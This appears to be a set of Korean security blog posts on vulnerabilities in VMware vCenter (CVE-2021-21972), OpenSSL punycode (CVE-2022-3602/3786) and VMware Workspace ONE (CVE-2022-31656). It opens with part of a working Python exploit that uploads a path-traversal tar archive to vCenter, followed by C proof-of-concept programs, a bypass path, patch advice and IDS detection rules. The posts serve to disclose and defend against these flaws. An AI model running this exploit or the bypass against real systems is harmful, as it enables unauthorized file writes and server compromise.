        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text) 

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()
    
    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)

 

3. 대응방안

3.1 서버측면

① 최신 버전의 업데이트 적용

- VMware vCenter Server 7.0 U1c
- VMware vCenter Server 6.7 U3I
- VMware vCenter Server 6.5 U3n
- VMware Cloud Foundation (vCenter 서버) 4.2
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2

 

3.2 네트워크 측면

① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-21972

- https://www.shodan.io/search?query=http.title:%22ID_VC_Welcome%22

https://reconshell.com/cve-2021-21972-vcenter-rce-vulnerability-analysis/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925

https://kb.vmware.com/s/article/82374

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/horizon3ai/CVE-2021-21972/blob/master/CVE-2021-21972.py

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-3602
[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-3786

- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능

① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용

② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발

- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점

영향받는 버전
OpenSSL 3.0.0 ~ 3.0.6

 

2.1 분석

- X.509 인증서를 확인하는 동안 Punycodeossl_punycode_decode()에서잘못 처리하여 발생

- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행

퓨니코드(Puny Code)
- 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법
- ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩
- OpenSSL 3.0.0에서 도입
- 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임
ex) 한국 =>  xn--3e0b707e.kr

참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C

 

- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음

[사진 3] CVE-2022-3602 공격 패킷 일부
[사진 4] CVE-2022-3786 공격 패킷 일부

2.2 PoC

2.2.1 CVE-2022-3602

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
  unsigned int decoded_len = DECODED_LENGTH;

  if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
    printf("Encoding failed!\n");
    free(decoded);
    exit(1);
  }

  printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
  printf("decoded: [%d] ", decoded_len);

  int i;
  for(i = 0; i < decoded_len; i++) {
    printf("%lc", decoded[i]);
  }
  printf("\n");

  free(decoded);
  return 0;
}

 

2.2.2 CVE-2022-3786

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

int ossl_a2ulabel(const char *in, char *out, size_t *outlen);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  char *teststring = "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--";
  char out[16];
  size_t outlen = sizeof(out);

  int result = ossl_a2ulabel(teststring, out, &outlen);

  if(result == 1) {
    printf("Ok: [%ld] %s\n", outlen, out);
  } else if(result == 0) {
    printf("Too short: [%ld : %ld] %s\n", outlen, strlen(out), out);
  } else {
    printf("Bad string\n");
    exit(0);
  }

  return 0;
}

 

3. 대응방안

3.1 서버측면

① 사용중인 OpenSSL 버전을 확인하여 취약한 버전일 경우 벤더사에서 제공하는 최신 패치를 적용한다.

- 해당 취약점은 OpenSSL 3.0.7에서 패치

- OpenSSL 버전 확인 방법 참고

 

OpenSSL 버전 확인 - 제타위키

다음 문자열 포함...

zetawiki.com

- OpenSSL 3.0.7의 ossl_punycode_decode()를 확인해보면 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

 

Fix CVE-2022-3786 in punycode decoder. · openssl/openssl@c42165b

Fixed the ossl_a2ulabel() function which also contained a potential buffer overflow, albeit without control of the contents. This overflow could result in a crash (causing a denial of service). Th...

github.com

 

② 업데이트 적용이 어려울 경우

- TLS 서버는 TLS 클라이언트 인증을 사용 중인 경우 수정 사항이 적용될 때까지 해당 기능을 비활성화

 

3.2 네트워크 측면

① 보안 솔루션에 취약점 탐지 정책 적용

alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Inbound (CVE-2022-3602)"; flow:established,to_client; tls.certs; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039618; rev:1; metadata:attack_target Server, created_at 2022_11_01, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

alert tls $HOME_NET any -> any any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Outbound (CVE-2022-3602)"; flow:established,to_server; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039619; rev:1; metadata:attack_target Server, created_at 2022_11_02, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-3602

https://nvd.nist.gov/vuln/detail/CVE-2022-3786

https://www.openssl.org/news/secadv/20221101.txt

https://www.tenable.com/blog/cve-2022-3786-and-cve-2022-3602-openssl-patches-two-high-severity-vulnerabilities

https://github.com/NCSC-NL/OpenSSL-2022/tree/main/software

https://github.com/openssl/openssl/commit/c42165b5706e42f67ef8ef4c351a9a4c5d21639a

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3602-4byteoverwrite.c

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3786-periods.c

https://github.com/splunk/security_content/pull/2450

https://www.forescout.com/blog/openssl-cve-2022-3602-and-cve-2022-3786-spooky-ssl-what-they-are-and-how-to-mitigate-risk/

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3442&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DX509%26page%3D1

- https://www.boannews.com/media/view.asp?idx=111249

https://zetawiki.com/wiki/OpenSSL_%EB%B2%84%EC%A0%84_%ED%99%95%EC%9D%B8

1. VMware 

- 클라우드 컴퓨팅 및 가상화 소프트웨어를 판매하는 기업

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-31656

- VM 제품군의 UI에 네트워크 액세스 권한이 있는 공격자가 인증 없이 관리자 권한을 얻을 수 있는 취약점 (CVSS 9.8)

영향받는 버전
- VMware Workspace ONE Access 21.08.0.0
- VMware Workspace ONE Access 21.08.0.1
- VMware Workspace ONE Access Connector 22.05
- VMware Workspace ONE Access Connector 21.08.0.0
- VMware Workspace ONE Access Connector 21.08.0.1

- VMware Identity Manager 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 3.3.4 ~ 3.3.6
- VMware Identity Manager Connector 19.03.0.1

- VMware vRealize Automation 8.x
- VMware vRealize Automation 7.6

- VMware Cloud Foundation (vIDM) 4.2.x, 4.3.x, 4.4.x
- VMware Cloud Foundation (vRA) 3.x

- vRealize Suite Lifecycle Manager (vIDM) 8.x

 

2.1 분석

- VMware 제품의 JAVA 웹에는 다양한 필터 계층이 존재함

- 그 중 UrlRewriteFilter 계층사전 정의된 규칙을 기반으로 내부 서블릿에 요청을 매핑하는 역할을 수행(WEB-INF/urlrewrite.xml)

 

- 아래 [사진 2]에서 처럼 요청 중 정규식 "^/t/([^/])($|/)(((?!META-INF| WEB-INF).))$"에 일치하는 경로가 "/$3" 에 매핑됨.

※ WEB-INF 및 META-INF 폴더의 파일에 접근 가능한 CVE-2021-26085, CVE-2021-26086 취약점과 유사

- 정규식에의해 "/SAAS/t/_/;/WEB-INF/web.xml" 와 같이 요청하면 "/WEB-INF/web.xml"에 매핑됨

[사진 2] UrlRewriteFilter 규칙 및 매핑

 

- 이후 UrlRewrite.NormalRewrittenUrl.doRewrite() > getRequestDispatcher() 순으로 호출

- getRequestDispatcher()는 한 서블릿에서 다른 서블릿으로 요청을 포워드하는 기능을 제공

- 정규식에 의해 매핑된 /WEB-INF/web.xml를 인자로 사용하여 해당 자원에 액세스가 가능해짐

※ [사진 3]에서 CVE-2022-22972(VMware 인증 우회 취약점)에 대해 적용된 패치

[사진 3] 동작과정 정리

 

- 공격자들을 /SAAS/t/_/;/auth/login/embeddedauthbroker/callback URL로 요청하여 Exploit 수행

[사진 4] PoC 화면

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 패치 적용

 

VMware Knowledge Base

 

kb.vmware.com

 

3.2 네트워크 측면

① 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

- /SAAS/t/_/;/

alert tcp any any -> any any (msg:"VMware Auth Bypass Detected (CVE-2022–31656)"; content:"POST /SAAS/t/_/;/"; depth:17;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-31656

https://kb.vmware.com/s/article/89096

https://www.vmware.com/security/advisories/VMSA-2022-0021.html

- https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

- https://research.kudelskisecurity.com/2022/08/10/critical-vmware-authentication-bypass-and-rce-vulnerabilities-cve-2022-31656-and-cve-2022-31659/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=66856&queryString=cGFnZT0yJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PXRpdGxlX25hbWUmc2VhcmNoX3dvcmQ9 

+ Recent posts